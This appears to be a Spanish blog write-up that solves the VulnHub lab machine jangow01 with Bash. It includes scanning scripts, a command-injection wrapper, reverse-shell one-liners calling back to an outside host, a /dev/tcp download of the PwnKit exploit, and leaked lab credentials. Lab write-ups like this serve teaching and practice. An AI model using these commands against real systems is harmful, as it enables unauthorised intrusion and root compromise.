Resolviendo jangow01 usando solo Bash

¡Resolví jangow01 usando solo Bash!

En esta serie de posts trato de usar solo Bash y algunas herramientas externas solo si es extremadamente necesario.

Empezemos con jangow01!!! puedes descargar jangow01 desde vulnhub.com

<div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
  <iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen="allowfullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube-nocookie.com/embed/cPuF2RIrnNE?autoplay=0&amp;controls=1&amp;end=0&amp;loop=0&amp;mute=0&amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video"></iframe>
</div>

Enumeración

Hagamos un script para encontrar hosts en línea:

1
2
3

for ip in {0..255};do
  ping -c 1 192.168.56.$ip >/dev/null && echo " 192.168.56.$ip is online"
done

Pero demora mucho, hagamos que sea más rápido usando la asincronia

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

#!/bin/env bash

# getHosts.sh
getIps(){
  ping -c 4 192.168.56.$ip >/dev/null && echo " 192.168.56.$ip is online"
  sleep 0.1
}

# Programa principal
for ip in {1..254};do
  # Usamos la asincronia para un escaneo rapido
  getIps "$ip" &
done
wait

El script encontró 3 ips

Aquí 192.168.56.118 es el objetivo (la máquina jangow01)

Obtieniendo puertos abiertos

Ahora que encontramos el objetivo, buscamos puertos abiertos, para esta tarea hacemos otro script usando /dev/tcp/$ip/$port

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

#!/bin/env bash

# getServices.sh

# Enable job control
set -m 

# Only tcp ports
scan(){
  if timeout 1s bash -c "</dev/tcp/192.168.56.118/$1" &> /dev/null; then      
        echo "Port $1 is open"
  fi;
}

jobCtrl=0
for ip in {1..65535};do

  # ¿Porque usamos esto? Para prevenir una sobrecarga de la CPU 
  if [ $jobCtrl -eq 50 ]; then
    wait -n # Si tenemos 50 procesos, esperamos a que terminen
    jobCtrl=0
  fi

  # Escaneo asincrono
  scan $ip & 
  jobCtrl=$((jobCtrl+1))

done
wait

Después de ejecutar el script, este muestra los puertos abiertos en 192.168.56.118

Analizando los puertos abiertos

Usé la herramienta curl para verificar las respuestas del servidor

1

 curl 192.168.56.118

Genial!. pero solo necesitamos ver hrer y src para obtener enlaces

1

 curl -v --silent 192.168.56.118 2>&1 | grep -E "href|src" 

Analizando la salida, encontramos el enlace “site/”, comprobando…

1

 curl 192.168.56.118/site/

Pero retorna mucho código, de nuevo buscamos las propiedades src y dst solo para obtener enlaces

1

 curl -v --silent 192.168.56.118/site/ 2>&1 | grep -E "href|src" 

La salida muestra una solicitud que podria ser interesante:

1

href="busque.php?buscar="

buscando alguna respuesta interesante encontramos RCE

1

 curl --get --data-urlencode "buscar=w" 192.168.56.118/site/busque.php

Explotación

Para ahorrarme escribir mucho, hice un script para ayudarme con el RCE

1
2
3
4
5
6
7
8
9

#!/bin/env bash

# getRce.sh

while true;do
  read -p "comm>  " cmd
  curl --get  --data-urlencode "buscar=$cmd 2>&1" http://192.168.56.118/site/busque.php
  echo  " "
done

Obteniendo más información

Verificamos si tenemos permisos de escritura

Archivo de configuración de WordPress

¿Archivos ocultos?

Si vemos el directorio “/home” obtenemos esto:

Shell inversa

Genial!! tenemos el usuario su flag y credenciales, ahora usamos una shell inversa simple

1

  comm> bash -c 'bash -i >& /dev/tcp/192.168.56.1/222 0>&1'

Aquí tenemos algunos problemas:

• todos los puertos salientes no funcionan
• fallan las pruebas con conexiones salientes (ping)
• herramientas como dig, nslookup también fallan

Script para probar puertos salientes (outgoing ports)

Al replicar el mismo comportamiento en un servidor ubuntu, descubrí que todos o algunos puertos están filtrados por el firewall, al verificar /var/log en la vm de Jangow01, encontré el archivo ufw.log, esto indica que ufw está activo. ahora vamos a encontrar puertos salientes abiertos (si existen) para eso uso la utilidad telnet (en este caso para puertos salientes)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18

#!/bin/env bash

# testPort.sh

runTelnet(){
  if timeout 5s telnet 192.168.56.11 $1 2>&1 | grep "Unable"; then
    echo "$1" > open
  fi
}

for port in {1..65535}; do

  runTelnet $port &
  if [[ -d open ]];then
    echo "Port $(cat open) is open"
    break
  fi
done

¿Cómo subir este script? tenemos dos opciones:

• usando el servicio ftp y las credenciales encontradas antes (fácil)
• o vía rce (fácil también)

Prefiero usar RCE

1. Convertimos testPort.sh a base64 para obtener una sola línea

1

>tr -d "\n" < <(base64 testPort.sh) > out

2. Subiendo por RCE

1

curl --get  --data-urlencode "buscar=echo '$(cat out)' | base64 -d > run.sh 2>&1" http://192.168.56.118/site/busque.php

3. El script ya esta en la maquina Jangow01, finalmente lo ejecutamos

1

curl --get  --data-urlencode "buscar=bash run.sh &" http://192.168.56.118/site/busque.php

4. Comprobamos si se creó el archivo “open”

1

curl --get  --data-urlencode "buscar=ls" http://192.168.56.118/site/busque.php

5. Y obtenemos el puerto magico

1

curl --get  --data-urlencode "buscar=cat open" http://192.168.56.118/site/busque.php

Ahora abrimos una conexion en el puerto 443 con nc

1
2
3
4
5

sudo nc -lvnp 443
Listening on 0.0.0.0 443

# ejecutamos esto en la vm de Jangow01 via RCE
comm>  bash -c 'bash -i >& /dev/tcp/192.168.56.1/443 0>&1'

¡¡¡Genial!!!. ya tenemos una shell remota

Escalada de privilegios

La flag está en el directorio “/root”, pero ¿Tenemos una shell de inicio de sesión o no? por supuesto que no, no hemos iniciado ninguna sesión

Necesitamos una shell para iniciar sesión como usuario. probando algunas técnicas solo python3 funcionó

1

www-data@jangow01:/var/www/html/site$ python3 -c 'import pty; pty.spawn("/bin/bash")'

Ahora iniciamos sesión con las credenciales “jangow01” y “abygurl69”

Obtener root

Vi que en muchos blogs para ser root en Jangow01 usan diferentes exploits para kernel pero usar estos exploits no son la mejor manera de ser root porque es posible causar fallas en el sistema y podriamos perder todo el progreso hecho hasta ahora

Para jangow01 probé algunas técnicas de escalada de privilegios pero solo encontré una vulnerabilidad SUID

1

find / -perm -u=s -type f 2>/dev/null

Revisando en https://gtfobins.github.io/#+sudo encontré una posible opción

pkexec

Pero esto no funcionó

1

sudo pkexec /bin/sh

Encontré que pkexec tiene el cve-2021-4034, una versión vulnerable que se encuentra en este repo, después de descargar PwnKit, ya no es posible subir el archivo en la máquina de jangow01 usando base64 como antes, para esto usé nc en el puerto 443

1. Primero iniciamos nc en el puerto 443 y enviamos PwnKit a través de un pipe

1

sudo nc -lvnp 443 < PwnKit

2. En la máquina Jangow01 usando el RCE descargamos el archivo PwnKit

1

comm>  bash -c 'cat < /dev/tcp/192.168.56.1/443 > PwnKit' &

3. Ahora ejecutamos PwnKit

Finalmente obtenemos root

Enlaces útiles

• ufw in ubuntu 20.04
• bash especial characters
• Privilege escalation in Linux
• Awesome Privilege escalation
• pkexec | gtfobins
• CVE-2021-4034
• Outgoing port tester
• port scanning whit nc
• nc listener
• Privilege escalation
• base64 encode decode
• bash/zsh sockets
• spawing tty shells
• tr lilnux command
• privesc-linux
• bash sockets